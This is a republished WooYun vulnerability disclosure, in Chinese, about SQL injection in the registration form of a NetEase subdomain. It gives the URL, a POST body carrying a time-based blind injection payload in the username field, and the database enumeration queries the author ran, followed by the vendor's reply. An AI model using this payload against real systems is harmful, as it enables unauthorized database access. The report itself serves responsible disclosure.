网易某站存在SQL注入

2017年4月20日18:18:24评论228 views字数 191阅读0分38秒阅读模式

摘要

2016-02-29：细节已通知厂商并且等待厂商处理中
2016-03-01：厂商已经确认，细节仅向厂商公开
2016-03-11：细节向核心白帽子及相关领域专家公开
2016-03-21：细节向普通白帽子公开
2016-03-31：细节向实习白帽子公开
2016-04-15：细节向公众公开

漏洞概要关注数(7) 关注此漏洞

缺陷编号： WooYun-2016-179621

漏洞标题：网易某站存在SQL注入

漏洞作者：路人甲

提交时间： 2016-02-29 18:35

公开时间： 2016-04-15 15:53

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 12

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

0人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

注入点

https://jjc.w.163.com/Account/Register.aspx

code 区域

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTIwNDg3MzM0MQ9kFgJmD2QWAgIDD2QWAgIBDxYCHglpbm5lcmh0bWwFYOasoui%2FjuS9v%2BeUqCA8c3BhbiBjbGFzcz0iYm9sZCI%2BQ2FzdGVySnM8L3NwYW4%2BIVsgIDxhIGhyZWY9Ii9BY2NvdW50L0xvZ2luT3V0LmFzcHgiPuazqOmUgDwvYT4gXWRkEwUbvNNJUwva8n6uIYJBREWvrfSdsHs42p7VqLSHc70%3D&__VIEWSTATEGENERATOR=87EDC3EC&__EVENTVALIDATION=%2FwEWBAKkr8GxDALM%2F%2FiZCQLDx7adCALv8O2RCp8mkvJZRnHmvaR4nT%2BaAa6X7627Prhe6CV1ROiU918K&ctl00%24MainContent%24Password=admin123456&ctl00%24MainContent%24LoginButton=%E6%B3%A8%E5%86%8C&ctl00%24MainContent%24UserName=admin

#2 注入参数

code 区域

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTIwNDg3MzM0MQ9kFgJmD2QWAgIDD2QWAgIBDxYCHglpbm5lcmh0bWwFYOasoui%2FjuS9v%2BeUqCA8c3BhbiBjbGFzcz0iYm9sZCI%2BQ2FzdGVySnM8L3NwYW4%2BIVsgIDxhIGhyZWY9Ii9BY2NvdW50L0xvZ2luT3V0LmFzcHgiPuazqOmUgDwvYT4gXWRkEwUbvNNJUwva8n6uIYJBREWvrfSdsHs42p7VqLSHc70%3D&__VIEWSTATEGENERATOR=87EDC3EC&__EVENTVALIDATION=%2FwEWBAKkr8GxDALM%2F%2FiZCQLDx7adCALv8O2RCp8mkvJZRnHmvaR4nT%2BaAa6X7627Prhe6CV1ROiU918K&ctl00%24MainContent%24Password=admin123456&ctl00%24MainContent%24LoginButton=%E6%B3%A8%E5%86%8C&ctl00%24MainContent%24UserName=admin';waitfor delay '0:0:3'--

漏洞证明：

于是修改了个tangscan脚本跑了下. select @@version

select db_name()

select @@servername以及select host_name()

修复方案：

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2016-03-01 15:53

厂商回复：

该域名的后端跳转地址为61.129.33.237，非本公司ip，非公司业务，并很早前已终止合作。目前已关闭后端地址跳转。感谢您对网易的关注！

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞概要 关注数(7) 关注此漏洞

缺陷编号： WooYun-2016-179621

漏洞标题： 网易某站存在SQL注入

相关厂商： 网易

漏洞作者： 路人甲

提交时间： 2016-02-29 18:35

公开时间： 2016-04-15 15:53

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 12

漏洞状态： 厂商已经确认